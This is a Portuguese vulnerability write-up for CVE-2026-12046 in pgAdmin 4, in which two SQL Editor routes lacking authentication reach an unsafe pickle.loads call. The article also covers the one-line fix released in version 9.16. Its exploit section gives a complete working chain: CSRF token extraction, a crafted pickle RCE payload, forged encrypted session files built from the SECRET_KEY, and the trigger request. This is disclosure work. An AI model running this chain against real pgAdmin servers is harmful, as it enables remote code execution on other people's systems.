CVE-2026-12046 — RCE pré-autenticado no pgAdmin 4: autenticação ausente e desserialização pickle no SQL Editor

1. Introdução

Esse artigo faz parte de uma série sobre as vulnerabilidades que reportei no pgAdmin 4. Recomendo ler o artigo introdutório antes de continuar — ele traz um resumo de todas as CVEs com a tabela de severidade.

A CVE-2026-12046 tem CVSS 9.0 (Crítica), o segundo mais alto do conjunto. Ela combina dois problemas: autenticação ausente em rotas do SQL Editor e desserialização insegura de pickle — o mesmo pickle.loads que aparece na CVE-2026-7818, mas aqui em um contexto diferente (o dado da sessão relacionado ao editor SQL) e com um vetor de ataque que parte de fora da aplicação, sem credenciais.

O AC:H no vetor CVSS reflete que a exploração exige pré-condições não triviais: a SECRET_KEY do pgAdmin e acesso de escrita ao diretório de sessões. Essas condições juntas normalmente implicam comprometimento parcial do servidor já antes da exploração. Mesmo assim, considero importante reportar porque o decorator de autenticação ausente é uma inconsistência que cria superfície de ataque desnecessária — e quando essas condições se alinham (backup exposto, storage mal configurado), a ausência desse gate é o salto que transforma um comprometimento parcial em execução de código sem autenticação.

Aviso: o conteúdo aqui é exclusivamente educacional. A falha já foi corrigida na versão 9.16 do pgAdmin 4.

2. O problema: rotas sem autenticação no SQL Editor

O blueprint do SQL Editor em web/pgadmin/tools/sqleditor/__init__.py registra dezenas de rotas, e quase todas têm o decorator @pga_login_required. Mas durante a revisão do código, encontrei duas que não tinham:

# web/pgadmin/tools/sqleditor/__init__.py — antes da correção

@blueprint.route('/close/<int:trans_id>', methods=["DELETE"], endpoint='close')
# <- sem @pga_login_required
def close(trans_id):
    """Fecha uma sessão do SQL Editor."""
    ...
    close_sqleditor_session(trans_id)
    ...

@blueprint.route(
    '/initialize/sqleditor/update_connection/<int:sgid>/<int:sid>/<int:did>',
    methods=['POST'], endpoint='update_connection'
)
# <- também sem @pga_login_required
def update_connection(sgid, sid, did):
    ...

Para comparar, os endpoints adjacentes no mesmo arquivo:

# Linha 183 — com decorator
@pga_login_required
@blueprint.route('/initialize/sqleditor/<int:trans_id>/', ...)
def initialize_sqleditor(trans_id):
    ...

# Linha 196 — com decorator
@pga_login_required
@blueprint.route('/execute/query/<int:trans_id>', ...)
def execute_query(trans_id):
    ...

A ausência do decorator nessas duas rotas significa que em server mode, qualquer requisição HTTP chega ao handler — com ou sem sessão autenticada.

3. O sink de desserialização

Dentro de close(), a função close_sqleditor_session chama:

# web/pgadmin/tools/sqleditor/__init__.py — linha ~807
def close_sqleditor_session(trans_id):
    ...
    cmd_obj_str = session['gridData'][str(trans_id)]['command_obj']
    # Use pickle.loads function to get the command object
    cmd_obj = pickle.loads(cmd_obj_str)
    ...

O problema em si é um missing authentication protecting a deserialization sink. Para transformar isso em RCE, o atacante precisa controlar o conteúdo de session['gridData'][trans_id]['command_obj'] — ou seja, precisa criar um arquivo de sessão malicioso e fazer o pgAdmin carregá-lo.

4. A cadeia de exploração completa

A exploração em v9.15 (com Fernet e HMAC nas sessões) é em 7 passos.

Passo 1: Obter o csrfToken pré-autenticado

Mesmo sem credenciais, GET /login retorna a página de login com o csrfToken embutido no JavaScript. Esse token é necessário para a requisição de disparo da desserialização:

CSRF_SIGNED=$(curl -s http://TARGET/login \
  | grep -oP '"csrfToken"\s*:\s*"\K[^"]+')

Passo 2: Decodificar o csrfToken com a SECRET_KEY

O csrfToken é um token URLSafeTimedSerializer assinado com a SECRET_KEY do Flask. Com a SECRET_KEY em mãos (obtida do pgadmin4.db no DATA_DIR), é possível decodificá-lo para obter o valor bruto que o pgAdmin armazenaria na sessão como csrf_token:

from itsdangerous import URLSafeTimedSerializer
import hashlib

s = URLSafeTimedSerializer(
    SECRET_KEY,
    salt="wtf-csrf-token",
    signer_kwargs={"digest_method": hashlib.sha256},
)
raw_csrf = s.loads(csrf_signed_token, max_age=None)

Passo 3: Construir o payload pickle

O objetivo é um payload que execute código quando desserializado e devolva um objeto que close_sqleditor_session consiga processar sem lançar exceção (para o servidor retornar HTTP 200 e não HTTP 500):

import pickle, io, os

def make_rce_payload(cmd):
    buf = io.BytesIO()
    buf.write(b'\x80\x02')
    buf.write(b'cos\nsystem\n')
    buf.write(b'(V' + cmd.encode('utf-8') + b'\ntR0')
    buf.write(b'ctypes\nSimpleNamespace\n')
    buf.write(b')R')
    buf.write(b'}(Vconn_id\nNVconn_id_ac\nNub')
    buf.write(b'.')
    return buf.getvalue()

evil_bytes = make_rce_payload(
    "touch /tmp/pgadmin_rce_confirmed && id > /tmp/pgadmin_rce_output"
)

O types.SimpleNamespace(conn_id=None, conn_id_ac=None) é o tipo que close_sqleditor_session espera como retorno de pickle.loads — isso garante que o handler encerre normalmente e retorne HTTP 200.

Passo 4 e 5: Forjar e escrever o arquivo de sessão

Com a SECRET_KEY, é possível construir um arquivo de sessão v9.15 válido (formato: HMAC_hex || Fernet_encrypt(pickle((randval, cookie_hmac, session_data)))):

import pickle, base64, hashlib, hmac as _hmac, secrets, uuid
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.hkdf import HKDF

# Derivar chave Fernet a partir da SECRET_KEY (mesmo algoritmo do session.py)
km = SECRET_KEY.encode()
derived = HKDF(
    algorithm=hashes.SHA256(),
    length=32,
    salt=b'pga-session-body-v1',
    info=b'pgadmin session body encryption v1',
).derive(km)
fernet = Fernet(base64.urlsafe_b64encode(derived))

TRANS_ID = 9999
sid = str(uuid.uuid4())
randval = ''.join(secrets.choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(20))
cookie_hmac = base64.b64encode(
    _hmac.new(km, f"{sid}:{randval}".encode(), hashlib.sha256).digest()
).decode()

session_data = {
    "csrf_token": raw_csrf,
    "gridData": {
        str(TRANS_ID): {"command_obj": evil_bytes}
    }
}

plaintext = pickle.dumps((randval, cookie_hmac, session_data), -1)
body = fernet.encrypt(plaintext)
file_hmac = _hmac.new(km, body, hashlib.sha256).hexdigest().encode()
file_bytes = file_hmac + body

Esse arquivo é então escrito no diretório de sessões do container:

import subprocess, base64

encoded = base64.b64encode(file_bytes).decode()
dest = f"/var/lib/pgadmin/sessions/{sid}"
write_py = (
    f"import base64, os; "
    f"data = base64.b64decode('{encoded}'); "
    f"fd = os.open('{dest}', os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600); "
    f"os.write(fd, data); os.close(fd)"
)
subprocess.run(["docker", "exec", CONTAINER, "/venv/bin/python3", "-c", write_py])

Passo 6: Disparar a desserialização

Com o arquivo de sessão no lugar, a requisição para o endpoint sem autenticação:

curl -X DELETE "http://TARGET/sqleditor/close/$TRANS_ID" \
  -H "Cookie: pga4_session=${sid}!${cookie_hmac}" \
  -H "X-pgA-CSRFToken: $CSRF_SIGNED" \
  -H "Accept: application/json"

Passo 7: Verificar o RCE

docker exec pgadmin4_container cat /tmp/pgadmin_rce_output
# uid=5050(pgadmin) gid=0(root) groups=0(root)
# b30b56025015

HTTP 200 e código executado.

5. A correção

A correção foi uma linha em cada uma das duas rotas vulneráveis: adicionar @pga_login_required antes do handler, igualando-as a todas as outras rotas do módulo.

# Depois da correção
@blueprint.route('/close/<int:trans_id>', methods=["DELETE"], endpoint='close')
@pga_login_required   # <- adicionado
def close(trans_id):
    ...

@blueprint.route(
    '/initialize/sqleditor/update_connection/<int:sgid>/<int:sid>/<int:did>',
    methods=['POST'], endpoint='update_connection'
)
@pga_login_required   # <- adicionado
def update_connection(sgid, sid, did):
    ...

Com o decorator no lugar, a cadeia is_authenticated / MFA roda antes de qualquer acesso à sessão ou ao trans_id, e um atacante sem sessão válida recebe redirecionamento para /login.

Referência: pgadmin4#10072

6. Referências

  1. CWE-306: Missing Authentication for Critical Function
  2. CWE-502: Deserialization of Untrusted Data
  3. Python docs — pickle security
  4. itsdangerous — URLSafeTimedSerializer
  5. cryptography — HKDF
  6. CVE-2026-12046 no cve.org
  7. Repositório do pgAdmin 4